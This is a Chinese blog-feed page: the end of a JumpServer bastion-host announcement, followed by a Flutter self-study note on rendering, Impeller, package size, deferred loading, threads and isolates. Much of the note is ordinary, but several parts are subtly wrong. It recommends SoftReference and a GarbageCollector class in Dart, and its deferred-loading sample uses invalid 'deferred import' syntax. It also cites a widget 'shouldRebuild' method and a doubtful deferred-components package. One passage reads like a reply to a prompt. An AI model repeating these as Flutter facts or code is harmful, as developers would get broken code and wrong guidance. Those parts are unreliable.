数据库方面,JumpServer信创堡垒机支持TiDB、腾讯TDSQL、GoldenDB、万里、瀚高、爱可生等数据库方案,并且支持纳管人大金仓、达梦等国产数据库。此外,数据存储支持采用SM4国密算法进行加密,以确保数据传输和存储的安全性;

浏览器方面,JumpServer信创堡垒机兼容360安全浏览器、奇安信可信浏览器等国密浏览器;

加密认证方面,JumpServer信创堡垒机支持宁盾等国密加密认证方案,一体机设备支持配置PCIE加密卡。

目前,JumpServer信创堡垒机已经被银行、证券、期货、能源、医疗、交通运输、政府等行业用户在实际应用场景中验证并采纳。未来,JumpServer将持续完善并优化国产化适配方案,为更多企业和机构提供满足行业规范要求的运维安全审计解决方案。

by FIT2CLOUD飞致云 at January 22, 2025 09:50 AM

juejin ios

flutter自学笔记11- 性能、渲染、包体积、懒加载、线程、并发隔离

本文主要涉及Flutter 性能相关的概念,如渲染、包体积管理、懒加载、线程相关、以及并发操作使用的Dart隔离概念。

笔记1:介绍一下flutter

笔记2-了解Flutter UI 页面和跳转

笔记3- 常用 Widget 整理

笔记4- dart 语法快速学习

笔记5- dart 编码规范

笔记6- 网络请求、序列化、平台通道介绍

笔记7- 状态管理、数据持久化

笔记8- package、插件、主题、国际化

笔记9 - 架构、调试、打包部署

笔记10- Widget 构建、渲染流程和原理、布局算法优化

笔记11- 性能、渲染、包体积、懒加载、线程、并发隔离

一、性能优化概览

在Flutter中,性能优化是提升用户体验的关键,它涉及多个方面,包括流畅度、内存管理、应用大小和功耗。以下是对这四个方面的详细分析:

一、流畅度优化

流畅度是指应用程序在用户交互时的响应速度和界面更新的平滑程度。为了提升Flutter应用的流畅度,可以采取以下措施:

  1. 减少不必要的计算和重绘:使用Opacity和Visibility组件来控制组件的可见性,避免直接设置组件的visible属性导致的重绘。同时,使用ListView.builder和GridView.builder等滚动组件的builder方法来构建长列表或网格,以减少不必要的计算和重绘。
  2. 优化动画效果:使用AnimatedWidget和AnimatedBuilder等组件来实现动画效果,但需要注意将不需要变化的widget作为child传递给AnimatedBuilder,从而只构建一次。此外,避免在动画中裁剪,尽可能在动画开始之前预先裁剪图像。
  3. 使用高效的渲染技术:例如,使用IndexedStack来减少不必要的子组件绘制,以及使用RepaintBoundary将具有复杂绘制的子树包装起来,作为单个图层处理。

二、内存管理优化

内存管理是指应用程序在运行过程中如何分配、使用和释放内存。为了优化Flutter应用的内存管理,可以采取以下措施:

  1. 避免内存泄漏:使用WeakReference和SoftReference等弱引用和软引用来管理内存,以避免内存泄漏。同时,注意在不需要时及时释放内存,例如使用GarbageCollector类来回收不再使用的对象。
  2. 优化图片加载:使用cached_network_image等第三方库来缓存网络图片,减少重复加载所需的内存。此外,调整图片资源文件的大小或使用cacheWidth和cacheHeight参数来指定解码大小,以减少内存使用。
  3. 使用高效的组件:例如,使用const和final来声明不可变的对象,减少内存分配和垃圾回收的压力。同时,避免在build方法中执行耗时操作,以减少内存占用和CPU使用。

三、应用大小优化

应用大小是指应用程序安装包的大小,它直接影响到用户的下载和安装体验。为了优化Flutter应用的大小,可以采取以下措施:

  1. 代码拆分:将应用程序拆分成多个模块或组件,并根据需要动态加载它们。这可以减少初始安装包的大小,并允许用户在需要时下载额外的功能或内容。
  2. 压缩资源文件:对应用程序中的图片、音频和视频等资源进行压缩处理,以减少它们的大小。同时,使用合适的图片格式和压缩算法来进一步减小资源文件的大小。
  3. 移除不必要的依赖:检查应用程序的依赖项,并移除那些不再需要或可以替换为更轻量级库的依赖项。这有助于减小应用程序的大小并提高其性能。

四、功耗优化

功耗是指应用程序在运行过程中消耗的电量或能量。为了优化Flutter应用的功耗,可以采取以下措施:

  1. 减少CPU和GPU的使用:通过优化渲染性能、减少不必要的计算和重绘以及使用高效的动画效果来降低CPU和GPU的使用率。这有助于减少应用程序在运行时的功耗。
  2. 优化网络请求:使用高效的网络库和协议来发起网络请求,并尽量减少网络请求的次数和数据量。这有助于降低网络传输过程中的功耗,并加快数据的加载速度。
  3. 使用节能模式:在可能的情况下,将应用程序设置为节能模式或低功耗模式。这可以通过减少后台任务、降低屏幕亮度或关闭不必要的传感器等方式来实现。

二、Impeller 渲染引擎

在Flutter开发中,Impeller 是一个相对较新的渲染引擎后端,旨在替代现有的 Skia 渲染引擎,以提供更高的性能和更好的跨平台一致性。

渲染优化性能的原因

1、更高效的图形处理:Impeller 使用了更现代的图形 API 和技术,如 Vulkan 和 Metal,这些 API 通常比 Skia 使用的 OpenGL 或 Direct3D 提供了更高的性能和更好的硬件加速能力。

2、减少渲染开销:Impeller 通过优化渲染管道和减少不必要的渲染调用,降低了渲染开销。这有助于减少 CPU 和 GPU 的负担,从而提高应用程序的响应速度和流畅度。

3、更好的跨平台一致性:Impeller 旨在提供一个更加一致的渲染体验,无论你是在 Android、iOS 还是其他平台上运行 Flutter 应用程序。这有助于减少因平台差异而导致的渲染问题,并提高应用程序的兼容性和稳定性。

4、自定义渲染管道:Impeller 允许开发者更加灵活地自定义渲染管道,以满足特定的性能需求或视觉效果。这有助于开发者在保持应用程序性能的同时,实现更加独特和吸引人的视觉效果。

5、可预测的性能(Predictable performance)

  • Impeller 在构建时离线编译所有着色器(shaders)和反射(reflection),并预先构建所有管道状态对象(pipeline state objects)。这种离线预处理的方式有助于减少运行时的开销,并提供更稳定的性能表现。
  • 引擎控制缓存并显式地进行缓存操作,这有助于确保渲染资源的有效利用和减少不必要的重复计算。

6、可仪器化(Instrumentable)

  • Impeller 对所有图形资源(如纹理和缓冲区)进行标记和标签处理,这使得开发者能够轻松地跟踪和监控这些资源的使用情况。
  • 它能够捕获动画并将其持久化到磁盘上,而不会影响每帧的渲染性能。这对于性能分析和调试非常有用。

7、可移植性(Portable)

  • Flutter 没有将 Impeller 绑定到特定的客户端渲染 API 上。这意味着 Impeller 可以灵活地适应不同的平台和图形后端。
  • 开发者可以编写一次着色器代码,并根据需要将其转换为特定后端的格式。这有助于确保跨平台的渲染一致性和兼容性。

8、利用现代图形 API(Leverages modern graphics APIs)

  • Impeller 使用现代图形 API(如 Metal 和 Vulkan)提供的特性,但这些特性并不是必需的依赖项。这意味着 Impeller 可以在不依赖这些现代特性的情况下运行,同时仍然能够利用它们来提高性能。
  • 通过利用这些现代 API,Impeller 能够实现更高效的渲染、更好的硬件加速和更低的功耗。

9、利用并发性(Leverages concurrency)

  • Impeller 能够根据需要将单帧的工作量分布在多个线程上执行。这有助于提高渲染的并行度和减少渲染延迟。
  • 通过利用多核 CPU 和 GPU 的并行处理能力,Impeller 能够更好地应对高负载场景,并提供更流畅的用户体验。

Impeller 开启/关闭设置

确保你的 Flutter 环境是最新的,并且可能还需要一些额外的配置步骤(这些步骤可能会随着 Flutter 的更新而变化)

1、iOS 平台

默认启用 Impeller:

在 Flutter 的最新版本中,对于 iOS 平台,Impeller 渲染引擎是默认启用的。这意味着,当您在 iOS 设备或模拟器上运行 Flutter 应用程序时,它会自动使用 Impeller 进行渲染。

调试时禁用 Impeller:

如果您在调试过程中希望禁用 Impeller,可以通过向 flutter run 命令传递 --no-enable-impeller 参数来实现。这样做可以让您的应用程序在调试期间使用旧的渲染引擎(通常是 Skia),而不是 Impeller。

flutter run --no-enable-impeller

部署时禁用 Impeller:

当您准备将 Flutter 应用程序部署到生产环境时,如果您希望禁用 Impeller,可以在应用程序的 Info.plist 文件中添加特定的键值对。这样做可以确保您的应用程序在发布版本中使用旧的渲染引擎。

Info.plist 文件中,您需要找到或添加顶层的 <dict> 标签,并在其内部添加以下 XML 代码:

<key>FLTEnableImpeller</key>
<false />
2、Android 平台

您提供的信息是关于 Flutter 在 Android 平台上 Impeller 渲染引擎的默认启用行为以及如何禁用它的详细说明。以下是对您所提供信息的整理和解释:

默认启用 Impeller

在 Flutter 的最新版本中,对于 Android 平台,Impeller 渲染引擎同样是默认启用的。这意味着,当您在 Android 设备或模拟器上运行 Flutter 应用程序时,它会自动尝试使用 Impeller 进行渲染。

Vulkan 和 OpenGL 的兼容性

  • Vulkan 支持:Impeller 渲染引擎主要依赖于 Vulkan 图形 API,因为它提供了高性能和低延迟的渲染能力。
  • OpenGL 回退:对于那些不支持 Vulkan 的设备,Impeller 会自动回退到使用旧的 OpenGL 渲染器。这种回退行为是自动的,您不需要进行任何额外的操作或配置。

调试时禁用 Impeller

如果您在调试过程中希望禁用 Impeller,可以通过向 flutter run 命令传递 --no-enable-impeller 参数来实现。这样做可以让您的应用程序在调试期间使用旧的渲染引擎(如 OpenGL),而不是 Impeller。

flutter run --no-enable-impeller

部署时禁用 Impeller

当您准备将 Flutter 应用程序部署到生产环境时,如果您希望禁用 Impeller,可以在 Android 项目的 AndroidManifest.xml 文件中添加特定的 <meta-data> 标签。

<application> 标签内部添加以下 XML 代码:

<meta-data
    android:name="io.flutter.embedding.android.EnableImpeller"
    android:value="false" />

三、性能优化最佳实践

在 Flutter 开发中,理解帧的构建和渲染时间对于优化应用性能至关重要

1、帧渲染时间

  1. 构建与渲染时间
    • Flutter 的构建(即 UI 元素的创建和布局)和渲染(即将这些元素绘制到屏幕上)是在两个独立的线程上进行的。这意味着它们可以并行处理,从而提高效率。
    • 对于 60Hz 的显示器,每一帧的显示时间为 16.67ms(1秒 / 60帧)。然而,由于 Flutter 的构建和渲染是分开的,理想情况下,我们希望构建和渲染各自都能在 16ms 或更短的时间内完成,以确保在下一帧开始之前能够完成当前帧的所有工作。这实际上意味着构建和渲染各自应该努力在 8ms 或更短的时间内完成,以留出一些缓冲时间应对不可预见的情况。
  2. 性能优化的重要性
    • 即使在 profile 构建状态下,每一帧的渲染时间低于 16ms,开发者仍然应该致力于优化性能。这是因为,虽然从视觉上看可能没有明显的卡顿,但减少渲染时间可以延长电池寿命、减少设备发热,并为用户提供更流畅的体验。
    • 此外,性能优化还可以确保应用在各种设备上都能保持良好的表现,特别是那些性能较低的设备。
  3. 未来设备的发展趋势
    • 随着高刷新率设备的普及(如 120Hz 或更高),对渲染时间的要求将变得更加严格。为了在这些设备上提供流畅的体验,开发者需要在更短的时间内完成每一帧的渲染。例如,对于 120Hz 的设备,每一帧的显示时间为 8.33ms,因此开发者需要确保构建和渲染各自都能在 8ms 或更短的时间内完成(实际上可能需要更短的时间以留出缓冲)。
  4. 60fps 的平滑视觉体验
    • 60fps(每秒60帧)之所以带来平滑的视觉体验,是因为人眼的视觉暂留效应。当帧率足够高时,人眼无法区分单个帧之间的间隔,从而产生了连续运动的错觉。
    • 视频“60fps是啥意思?”可能提供了更详细的解释和示例,帮助开发者理解为什么高帧率对于提供流畅的用户体验至关重要。

2、基础优化实践

  1. 使用最新版本的Flutter

    • Flutter不断更新和改进,加入新功能、修复错误和提高性能。
    • 通过保持与最新版本的Flutter同步,可以确保应用性能达到最佳状态。
  2. 最小化小部件的重建,分拆和封装庞大的widget

    • 使用shouldRebuild方法来确定小部件是否需要重建。
    • 通过比较小部件的当前状态和前一个状态,减少不必要的重建。
    • 如果build()方法返回的widget过于庞大或复杂,应该考虑将其分拆成更小的、可复用的widget。
    • 通过封装,可以提高代码的可读性和可维护性,同时也有助于减少不必要的重建和性能开销。
  3. 使用无状态小部件,使用StatelessWidget而不是函数

    • 无状态小部件没有可变状态,构建速度比有状态小部件快。
    • 使用无状态小部件可以减少构建时间,提高应用启动速度和响应性。
    • 在构建可复用的UI代码时,应该优先考虑使用StatelessWidget而不是函数。
    • StatelessWidget提供了更丰富的生命周期管理和状态管理功能,同时也更容易与Flutter的widget系统集成。
    • 函数式组件在某些情况下可能更简洁,但StatelessWidget提供了更好的封装性和可测试性。
  4. 使用const关键字

    • const关键字可以创建编译时常量,优化小部件的渲染和布局。
    • 使用const可以避免不必要的重绘和内存分配。
    • 当widget的构造函数参数在构建过程中不会改变时,应该使用const构造函数来创建widget实例。
    • 这有助于Flutter框架识别出哪些widget实例是恒定的,从而避免不必要的重建。
    • 启用flutter_lints包中的推荐lints可以帮助自动提醒使用const
  5. 优化列表渲染

    • 使用ListView.builder小部件来延迟创建和显示列表项。
    • 只创建可见的项目,减少内存和CPU使用。
  6. 利用widget树的遍历优化

    • Flutter框架在构建widget树时,会检查每个widget是否与前一帧相同。如果相同(使用operator==进行比较),则不会遍历其后代widget。

    • 这意味着,如果两个widget实例在逻辑上是相同的(即它们的状态和属性没有改变),那么它们的后代widget也不会被重建。

    • 因此,应该尽量保持widget实例的稳定性和可比较性,以利用这一优化。

3、高级优化实践

  1. 优化图像加载
    • 使用cached_network_image包来缓存图像,减少网络请求次数。
    • 使用淡入图像技术来改善应用的感知性能。
  2. 使用状态管理库
    • 状态管理是构建高性能Flutter应用的重要方面。
    • 使用如Provider、Redux和BLoC等状态管理库来集中管理应用状态,减少UI重建次数。
  3. 使用正确的数据结构
    • 根据使用场景选择合适的数据结构,如列表、映射、集合等。
    • 使用高效的数据结构可以提高应用性能。
  4. 优化构建过程
    • 使用发布模式构建生产环境的应用,生成运行速度更快、内存消耗更少的代码。
    • 使用代码拆分来减小应用大小并提高性能。
  5. 使用延迟加载
    • 延迟加载资源,如图像,直到需要它们时才加载。
    • 使用Flutter框架提供的延迟加载方法,如可见性类和滚动控制器类。

4、动画与网络性能优化

  1. 优化动画
    • 使用AnimatedBuilder小部件而不是AnimatedWidget小部件。
    • 将动画逻辑与小部件本身分离,减少UI重建次数。
    • 使用缓动动画而不是曲线动画,定义动画的开始和结束值。
  2. 优化网络性能
    • 使用高效的网络请求库,如HttpClientDiohttp
    • 根据网络请求的结果更新UI,减少不必要的网络请求。

5、性能分析工具与调试

  1. 使用性能分析工具
    • Flutter提供了几个内置的性能分析工具,如Dart Observatory和DevTools中的Flutter性能选项卡。
    • 使用这些工具可以实时监控应用的性能,并识别性能瓶颈。
  2. 利用Profile模式进行性能调试
    • Profile模式使用AOT预编译模式,支持使用DevTools进行性能检测和分析。
    • 通过Profile模式可以获取应用的性能数据,进行针对性的优化。

6、其他优化实践

  1. 使用Offstage来隐藏组件

    • 将不经常显示或只在特定条件下显示的组件从渲染树中移除,减少布局和绘制开销。
  2. 使用RepaintBoundary

    • 将具有复杂绘制的子树包装在RepaintBoundary中,减少布局和绘制的工作量。
  3. 使用LayoutBuilderConstrainedBox

    • 根据父组件的大小动态调整子组件的大小,减少不必要的布局计算。
  4. 避免在build方法中执行耗时操作

    • initState中进行耗时操作,避免在build方法中频繁重绘和重建。

    • build()方法是Flutter中widget构建的核心方法。当widget的状态改变或父widget重建时,build()方法可能会被频繁调用。

    • 因此,应避免在build()方法中执行任何耗时或复杂的计算。这些操作应该放在initState()didUpdateWidget()等生命周期方法中,或者在单独的函数或类中处理,并通过状态管理传递给widget。

7、谨慎使用saveLayer()

在 Flutter 开发中,saveLayer() 是一个强大的功能,它允许你在绘制操作中创建一个离屏缓冲区(off-screen buffer),这个缓冲区可以在后续的绘制操作中被复用或修改。然而,saveLayer() 的使用需要谨慎,因为它可能会影响性能,特别是在频繁调用或在大面积绘制时使用。

7.1、谨慎使用 saveLayer() 的原因
  1. 性能开销
    • saveLayer() 会创建一个新的图层,这需要在 GPU 上分配额外的内存和可能的渲染开销。
    • 在复杂或大面积的场景中,频繁使用 saveLayer() 可能会导致掉帧或性能瓶颈。
  2. 内存使用
    • 每个离屏缓冲区都会占用内存,如果创建过多的图层,可能会导致内存使用量剧增,进而影响应用的稳定性和响应速度。
7.2、触发使用 saveLayer() 的场景
  1. 动画和变换
    • 当需要对某些元素应用复杂的动画或变换(如旋转、缩放、透明度变化等)时,可能需要使用 saveLayer() 来确保这些变换独立于其他绘制操作。
  2. 遮罩和裁剪
    • 在需要应用特定形状的遮罩或裁剪区域时,saveLayer() 可以帮助创建一个独立的图层,以便在这些图层上应用遮罩或裁剪效果。
  3. 复杂绘制逻辑
    • 在绘制逻辑非常复杂或需要分步骤完成时,使用 saveLayer() 可以将绘制过程分解为多个独立的步骤,每个步骤在一个离屏缓冲区上进行,从而简化绘制逻辑。
  4. 透明度
  • 能不用 Opacity widget,就尽量不要用。
7.3、优化方案
  1. 减少使用频率
    • 尽可能减少 saveLayer() 的调用次数。如果可以通过其他方式(如使用组合变换、遮罩等)实现相同的效果,优先考虑这些方法。
  2. 优化图层大小
    • 精确控制 saveLayer() 覆盖的区域大小。只覆盖必要的区域,避免创建过大的离屏缓冲区。
  3. 合并图层
    • 如果多个 saveLayer() 调用覆盖的区域相同或重叠,考虑将它们合并为一个图层,以减少内存使用和渲染开销。
  4. 使用 RepaintBoundary
    • 在某些情况下,可以使用 RepaintBoundary 替代 saveLayer()RepaintBoundary 会触发一个独立的渲染树节点,但它通常用于更复杂的场景,如捕获图像或处理滚动。
  5. 性能分析
    • 使用 Flutter 的性能分析工具(如 DevTools)来监控 saveLayer() 对性能的影响。通过分析渲染帧时间和内存使用情况,找到性能瓶颈并进行优化。
  6. 硬件加速
    • 确保设备支持硬件加速,并检查 Flutter 引擎的版本,因为新版本的引擎可能包含对 saveLayer() 性能的优化。
  7. 透明度
  • 有关将透明度直接应用于图像的示例,请查看 Transparent image,这比使用 Opacity widget 更快。 与其将简单的形状或文本包裹在一个 Opacity widget 中,不如用半透明的颜色来绘制它们会更快。(这仅在要画的形状中没有重叠的部分时有效)。
  1. 动画
    • 要在图像中实现淡入淡出,请考虑使用 FadeInImage widget,该 widget 使用 GPU 的片段着色器应用渐变不透明度。了解更多详情,请查看 Opacity 文档。
    • 在动画中避免Opacity透明度使用。可以使用 AnimatedOpacityFadeInImage 代替该操作
    • 避免在动画中裁剪,尽可能的在动画开始之前预先裁剪图像
  2. Clipping
  • Clipping 不会调用 saveLayer() (除非明确使用 Clip.antiAliasWithSaveLayer),因此这些操作没有 Opacity 那么耗时,但仍然很耗时,所以请谨慎使用。
  1. 圆角
  • 要创建带圆角的矩形,而不是裁剪矩形来达到圆角的效果,请考虑使用很多 widget 都提供的 borderRadius 属性。

四、包体积

检测应用体积是确保应用优化和用户体验的重要步骤

1、使用 Flutter 构建命令分析体积

Flutter 提供了一些构建命令,可以帮助开发者分析应用的体积。这些命令会生成包含应用体积详细信息的报告文件。

  1. 全平台包(胖包)大小
    • 使用 flutter build apkflutter build ios 命令构建出发布包,该包可以大概评估出用户要下载的包大小。
    • 对于 Android 平台,可以使用 Android Size Analyzer 工具来分析包大小,以及各个部分(如 lib、assets、res、dex 等)的大小和比例。
    • 对于 iOS 平台,可以使用 flutter build ios --analyze-size 命令来查看安装包大小,并生成包含详细信息的报告文件。
  2. App Bundle 分析
    • 对于 Android 平台,构建 App Bundle(使用 flutter build appbundle --release 命令)可以减小应用体积,因为 App Bundle 会根据用户设备信息动态下发不同的资源包。
    • 可以将 App Bundle 上传到 Google Play Console,在应用大小部分可以看到用户最终下载包的大小。

2、使用应用体积工具

Flutter 官方提供了应用体积工具,用于分析 Flutter 应用的体积信息。

  1. 生成体积分析文件
    • 使用 flutter build <your target platform> --analyze-size 命令构建应用,并生成体积分析文件。
    • 该文件包含整个应用的体积信息(本机代码、Dart 代码、资源和字体等)。
  2. 分析体积信息
    • 打开应用体积工具,导入生成的体积分析文件。
    • 使用 Analysis 标签查看体积信息的单个快照,或使用 Diff 标签比较两个不同快照的体积信息。
    • 在 Analysis 标签中,可以查看层次结构的树状图和表格,了解应用体积的构成和各个部分的大小。

3、优化应用体积的方法

在检测应用体积后,开发者可以采取一些方法来优化应用体积,提高用户体验。

  1. 删除无用资源和代码
    • 检查项目中的资源和代码,删除未使用或不必要的部分。
    • 使用工具如 dart_code_metrics 或 Flutter 内置的 flutter analyze 命令来查找未使用的代码。
  2. 压缩和混淆代码
    • 在构建过程中启用代码压缩和混淆,减小代码体积并提高安全性。
    • android/app/build.gradle 文件中配置 minifyEnabledshrinkResources 为 true,并配置 ProGuard 规则文件。
  3. 优化图像资源
    • 将 PNG 或 JPEG 图片转换为 WebP 格式,使用工具如 Squoosh 进行压缩。
    • 使用在线工具或脚本优化图片大小,例如 tinypng 或 flutter_image_compress
  4. 使用动态下发和按需加载
    • 使用 Flutter 的动态下发功能,根据用户需求动态加载资源。
    • 使用 flutter_deferred_components 包,按需加载特定模块,而非一次性加载整个应用。
  5. 优化 Dart 包依赖
    • 检查 pubspec.yaml 文件中的依赖,删除未使用的第三方库。
    • 使用 flutter pub deps --style=compact 命令分析依赖包大小,并优化依赖关系。

五、懒加载

延迟加载组件(也称为懒加载或按需加载)是一种优化应用性能和资源使用的有效方法。通过延迟加载,应用可以在需要时才加载特定的组件或资源,从而减少初始加载时间和内存占用

1、配置项目以支持延迟加载

  1. Android平台

    • android/app/build.gradle文件中添加Play Core依赖:
    dependencies {
        implementation 'com.google.android.play:core:版本号' // 替换为实际版本号
    }
    
    • 配置AndroidManifest.xml文件,将application标签的android:name属性设置为io.flutter.embedding.android.FlutterPlayStoreSplitApplication(如果已使用FlutterPlayStoreSplitApplication,则无需更改)。
  2. iOS平台

    • iOS平台通常不需要额外的配置来支持延迟加载,因为Flutter的iOS实现已经内置了相关的支持。
  3. Web平台

    • Web平台需要将延迟组件创建为单独的.js文件,并在需要时动态加载。

2、在pubspec.yaml文件中声明延迟组件

pubspec.yaml文件的flutter部分下添加deferred-components声明,用于指定哪些组件是延迟加载的。例如:

flutter:
  # ... 其他配置 ...
  deferred-components:
    my_deferred_component:
      path: lib/my_deferred_component # 延迟组件的路径

3、在Dart代码中实现延迟加载

  1. 创建延迟组件

    • 在指定的路径下创建延迟组件的Dart文件。例如,在lib/my_deferred_component目录下创建一个名为my_deferred_component.dart的文件。
  2. 在需要时加载延迟组件

    • 使用deferred as关键字导入延迟组件,并在需要时调用loadLibrary()函数来加载它。例如:
    import 'package:flutter/material.dart';
     
    // 延迟加载组件的导入
    deferred import 'my_deferred_component.dart' as my_deferred_component;
     
    void main() {
      runApp(MyApp());
    }
     
    class MyApp extends StatelessWidget {
      @override
      Widget build(BuildContext context) {
        return MaterialApp(
          home: Scaffold(
            appBar: AppBar(
              title: Text('Delayed Loading Demo'),
            ),
            body: Center(
              child: ElevatedButton(
                onPressed: () async {
                  // 加载延迟组件
                  await my_deferred_component.loadLibrary();
                  // 创建并使用延迟组件的Widget
                  Navigator.push(
                    context,
                    MaterialPageRoute(builder: (context) => my_deferred_component.MyDeferredComponentWidget()),
                  );
                },
                child: Text('Load Deferred Component'),
              ),
            ),
          ),
        );
      }
    }
    

4、构建和测试延迟加载组件

  1. 构建应用
    • 使用flutter build appbundle(针对Android)或flutter build ios(针对iOS)命令构建应用。对于Web平台,使用flutter build web命令。
  2. 测试延迟加载
    • 在设备上运行应用,并测试延迟加载组件的功能。确保在点击按钮后,延迟组件能够正确加载并显示。

5、注意事项

  1. 延迟加载组件的限制
    • 延迟加载组件不能访问非延迟加载组件中的全局变量或函数。
    • 延迟加载组件的初始化代码(如构造函数或initState方法)在加载时才会执行。
  2. 性能考虑
    • 延迟加载可以减少初始加载时间和内存占用,但可能会增加首次使用延迟组件时的加载时间。因此,应根据实际需求权衡利弊。
  3. 调试和测试
    • 在Debug模式下,所有延迟组件都被视为常规导入,并在启动时立即加载。因此,应在Release或Profile模式下测试延迟加载功能。

六、性能视图

Flutter性能视图(Performance view)是Flutter DevTools的一部分,它对于开发者来说是一个非常重要的工具,因为它可以帮助开发者分析和优化Flutter应用的性能。以下是对Flutter性能视图的详细解释:

1、性能视图的作用

性能视图可以记录并分析Dart应用程序的性能,帮助开发者找到应用程序的性能瓶颈。它主要关注于UI的流畅性,即确保应用在每16毫秒(对于60帧每秒的帧率)内能够渲染一帧,从而避免卡顿现象。此外,性能视图还可以分析Dart代码中的性能问题,以及I/O或网速等其他性能指标(尽管本文主要聚焦于UI流畅性)。

2、使用性能视图的前提

  1. 设备要求:几乎所有的Flutter应用性能调试都应该在真实的Android或者iOS设备上以分析模式进行。因为调试模式或模拟器上的性能指标与发布模式的表现并不相同。
  2. 模式要求:为了使用性能视图,Flutter应用需要以profile构建模式运行。这是因为在分析模式下,Flutter应用会提供追踪信息给分析工具,而不会像调试模式那样增加额外的检查(如断言),这些检查可能相当耗费资源。同时,分析模式与发布模式的编译和运行基本相同,除了一些调试性能问题所必须的额外方法。

3、如何打开和使用性能视图

  1. 打开DevTools:首先,需要在VS Code、Android Studio或IntelliJ等IDE中打开Flutter DevTools。

  2. 运行应用:确保应用在以profile模式运行。在VS Code中,可以通过修改launch.json文件设置flutterMode属性为profile来运行应用。在Android Studio和IntelliJ中,则可以通过Run菜单选择Flutter Run main.dart in Profile Mode选项。在命令行中,可以使用flutter run --profile参数来运行应用。

  3. 显示性能图层:一旦应用运行在分析模式下,就可以打开性能图层来分析应用的性能。性能图层可以通过Flutter Inspector或直接在DevTools中打开。

  4. 分析图表:它用两张图表显示应用的耗时信息,一张显示raster线程的性能情况(在上方),另一张显示UI线程的性能情况(在下方)。

  5. 图表中的绿色条代表当前帧,而白线则代表16毫秒的增量。如果白线在图表中都没有被超过,说明应用的运行帧率低于60Hz。 Screenshot of overlay showing zero jank

  6. 红图表中色竖条则表示当前帧的渲染和绘制都很耗时。如果红色竖条出现在UI图表中,则表明Dart代码消耗了大量资源;如果红色竖条出现在GPU图表中,则意味着场景太复杂导致无法快速渲染,就要开始对 UI 线程 (Dart VM) 进行诊断了 Screenshot of performance overlay showing jank with red bars

4、性能视图中的其他功能

  1. CPU分析器:CPU分析器可以记录并分析CPU的使用情况。它可以显示调用树(Call Tree)、自下而上的视图(Bottom Up)和火焰图(Flame Chart)。通过这些视图,开发者可以分析哪些方法调用了哪些方法,以及每个方法消耗了多少CPU时间。
  2. 火焰图:火焰图主要用于显示一段持续时间内CPU的样本信息。图表展示的是自上而下的调用堆栈信息,每个堆栈帧的宽度代表CPU执行的时长。通过火焰图,开发者可以快速定位到消耗CPU时间最多的方法。

5、web 性能

在进行Flutter web应用的性能分析时,确实需要Flutter版本3.14或更高版本。这是因为从该版本开始,Flutter框架提供了更强大的性能分析工具和功能。

Flutter Web性能分析概述

Flutter框架在运行时会发出时间线事件,这些事件涵盖了帧的构建、场景的绘制以及垃圾回收等其他活动。这些事件对于调试和优化应用性能至关重要。在Chrome浏览器中,你可以使用Chrome DevTools性能面板来查看这些事件。通过该面板,你可以直观地看到应用的性能瓶颈,进而采取相应的优化措施。

优化Web加载速度

关于如何优化Flutter web应用的加载速度,你可以参考Medium上的免费文章《优化Flutter Web加载速度的最佳实践》。这篇文章提供了许多实用的建议,帮助你提升应用的加载速度和整体性能。

自定义时间线事件

除了Flutter框架自动生成的时间线事件外,你还可以使用dart:developer包中的TimelineTimelineTask API来自定义时间线事件。这对于深入分析应用的特定部分或功能非常有用。通过自定义事件,你可以更精确地了解应用在不同阶段的行为和性能表现。

七、线程

1、Flutter中的线程类型

  1. UI线程(Dart VM线程)
    • 位置:性能图层的最低栏展示。
    • 职责:在Dart虚拟机(VM)中执行Dart代码。这包括开发者编写的代码和Flutter框架根据应用行为自动生成的代码。
    • 关键点:UI线程负责创建和更新图层树(layer tree),这是一个包含设备无关的渲染命令的轻量级对象结构。然后,它将图层树发送到GPU线程进行渲染。
    • 注意事项不要阻塞这个线程!阻塞UI线程会导致应用界面卡顿或无响应。
  2. Raster线程(GPU准备线程)
    • 位置:性能图层的最顶栏显示。
    • 职责:Raster线程接收来自UI线程的图层树,并使用Skia图形库在CPU上进行栅格化处理,准备渲染数据供GPU使用。
    • 关键点:尽管Raster线程本身在CPU上运行,但它为GPU渲染做准备。如果Raster线程变慢,通常是由于Dart代码中的某些操作导致的,比如复杂的布局计算或过多的重绘。
    • 注意事项:开发者无法直接与Raster线程或其数据通信,但可以通过优化Dart代码来减少对其的影响。
  3. GPU线程
    • 位置:不在性能图层的直接展示中,但Raster线程的工作最终是为GPU线程服务的。
    • 职责:GPU线程负责实际的渲染工作,将Raster线程准备好的渲染数据渲染到屏幕上。
  4. I/O线程
    • 位置:性能图层上不显示。
    • 职责:执行耗时的I/O操作,如文件读写、网络请求等,以避免阻塞UI线程或Raster线程。
    • 关键点:I/O线程的存在是为了提高应用的响应性和性能,通过异步处理耗时的I/O操作。
  5. 平台线程(Native线程)
    • 描述:每个Flutter应用在原生平台(如Android或iOS)上都有一个对应的线程,称为平台线程。这个线程主要负责与原生代码进行通信,处理原生插件、服务端通知和系统事件等。
    • 作用:平台线程是Flutter与原生平台之间交互的桥梁,它使得Flutter应用能够调用原生平台的功能和服务。
  6. Isolates(隔离区)
    • 描述:Isolates是Dart语言中的一种轻量级线程,它们在内存中相互隔离,通过消息传递进行通信。在Flutter中,可以使用Isolates来执行后台任务,如计算密集型任务或长时间运行的任务。
    • 用途:通过将任务分发到不同的Isolates,可以避免阻塞UI线程,从而保持应用的响应性。

2、线程管理注意事项

  1. 避免在UI线程上执行耗时操作:耗时操作(如网络请求、文件读写等)应该使用异步操作或Isolates来处理,以避免阻塞UI线程。
  2. 优化布局和渲染:减少不必要的重建和复杂的布局计算,以降低UI线程上的负担。
  3. 使用Flutter性能工具:利用Flutter开发者工具中的性能分析器来检测和解决性能问题。性能分析器可以帮助开发者找到导致UI线程堵塞的原因,并提供优化建议。
  4. 合理利用Isolates:对于计算密集型任务或长时间运行的任务,可以使用Isolates来执行,以保持UI线程的响应性。
  5. 注意线程安全:在多线程环境中编程时,需要注意线程安全问题,避免数据竞争和不一致性问题。

3、Flutter inspector工具

Flutter 插件提供的 Flutter inspector,只需单击 Performance Overlay 按钮,即可在正在运行的应用程序上切换图层

使用 P 参数触发性能图层

八、并发与隔离

在Flutter中,并发操作主要通过Dart语言的Isolate机制来实现

1、Isolates (隔离)基本概念

  • Isolates是Dart语言中用于实现并发执行的一种机制。
  • 每个Isolate都有自己独立的内存空间和事件循环,相互之间不会共享内存。
  • Isolates之间通过消息传递进行通信,确保了并发执行的安全性和独立性。

2、使用Isolates的原因

  1. UI线程保护
    • Flutter使用单线程模型来渲染UI,为了保证UI的流畅性,耗时的操作需要在后台线程中执行。
